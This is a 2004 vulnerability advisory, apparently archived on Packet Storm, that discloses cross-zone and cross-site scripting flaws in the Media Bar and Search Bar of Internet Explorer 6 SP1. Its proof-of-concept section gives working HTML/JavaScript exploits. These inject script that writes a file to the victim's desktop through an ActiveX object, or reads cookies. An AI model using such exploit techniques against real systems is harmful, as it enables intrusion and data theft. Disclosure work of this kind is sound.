what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ieXSS.txt

ieXSS.txt
Posted Mar 3, 2004
Authored by Cheng Peng Su

Internet Explorer version 6.0 with SP1 is susceptible to Cross Zone and Site scripting vulnerabilities.

tags | advisory, vulnerability
SHA-256 | 9faafaa8b8dd12b161fea36f809db62016430fa53b85a28f96e67449a1427e7f

ieXSS.txt

Change Mirror Download



#########################################################################

Advisory Name : Internet Explorer Cross Zone/Site Scripting Vulnerability
Release Date : Mar 3,2004
Application : Microsoft Internet Explorer
Tested On : MS-IE 6.0(sp1)
Vendor URL : http://www.microsoft.com/ie
Author : Cheng Peng Su(apple_soup_at_msn.com)

#########################################################################


[Proof of Concept]
The code below is used for loading a URL into the HTML content area of the Media Bar
window.open("http://www.google.com/","_media")
And javascript also can be injected:
window.open("javascript:alert(location.href)","_media")
in my computer,the code above will show me a MsgBox says
'res://C:\WINDOWS\SYSTEM\BROWSELC.DLL/mbLoading.htm'
it suggests you that it's executed in My Computer Zone.
We can also inject a code to the Media Bar which has connected to a website.
As Media Bar ,Search Bar has the same vuln.

[Exploit]
!YOU CAN FIND THE DOCUMENT AT
!http://www.freewebs.com/applesoup/CrossBar/document.txt

The code will use 'file:javascript:[script]' vuln which posted months ago.Maybe Microsoft
has noticed the leak here,so i can't only use javascript-protocol in the code, and script-tag
is filtered out ,so i have to inject the script into img-tag.

I. In Media Bar
1 . Cross Zone Scripting Exploit
---------------------------CrossZone.htm---------------------------
<script>

// '\\42' -> '\42' -> ' " '
img_src='javascript:file = \\42Exploit.txt\\42; o = new ActiveXObject(\\42ADODB.Stream\\42);'
+ ' o.Open(); o.Type=2; o.Charset=\\42ascii\\42; o.WriteText(\\42My name is Cheng Peng Su.\\42);'
+ ' o.SaveToFile(file, 2); o.Close(); alert(\\42I wanna create \\42+file+\\42 on your desktop!\\42);';

inject_html="<img src='" + img_src + "'>";

window.open('file:javascript:document.write("' + inject_html + '")','_media');

</script>
-------------------------------End---------------------------------


2 . Cross Site Scripting Exploit
---------------------------CrossSite.htm---------------------------
<script>

window.open("http://www.google.com/","_media")
setTimeout(function(){
window.open("file:javascript:alert(document.cookie);","_media")
},5000);

</script>
-------------------------------End---------------------------------




II. In Search Bar
1 . Cross Zone Scripting Exploit
---------------------------CrossZone.htm---------------------------
<script>
window.open("http://wrong_site_add/","_search") //To load "Friendly HTTP error messages" page
// cause it's in My Computer Zone.
setTimeout(function(){

// '\\42' -> '\42' -> ' " '
img_src='javascript:file = \\42Exploit.txt\\42; o = new ActiveXObject(\\42ADODB.Stream\\42);'
+ ' o.Open(); o.Type=2; o.Charset=\\42ascii\\42; o.WriteText(\\42My name is Cheng Peng Su.\\42);'
+ ' o.SaveToFile(file, 2); o.Close(); alert(\\42I wanna create \\42+file+\\42 on your desktop!\\42);';

inject_html="<img src='" + img_src + "'>";

window.open('file:javascript:document.write("' + inject_html + '")','_search');

},5000);

</script>
-------------------------------End---------------------------------


2 . Cross Site Scripting Exploit
---------------------------CrossSite.htm---------------------------
<script>

window.open("http://www.google.com/","_search")
setTimeout(function(){
window.open("file:javascript:alert(document.cookie);","_search")
},5000);

</script>
-------------------------------End---------------------------------

[Demo]
Harmless demo:
http://www.freewebs.com/applesoup/CrossBar/CrossSiteMB.htm
http://www.freewebs.com/applesoup/CrossBar/CrossZoneMB.htm
http://www.freewebs.com/applesoup/CrossBar/CrossSiteSB.htm
http://www.freewebs.com/applesoup/CrossBar/CrossZoneSB.htm

[Contact]
Cheng Peng Su
Class 1,Senior 2,high school attached to Wuhan University
Wuhan,Hubei,China(430072)
apple_soup_at_msn.com
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close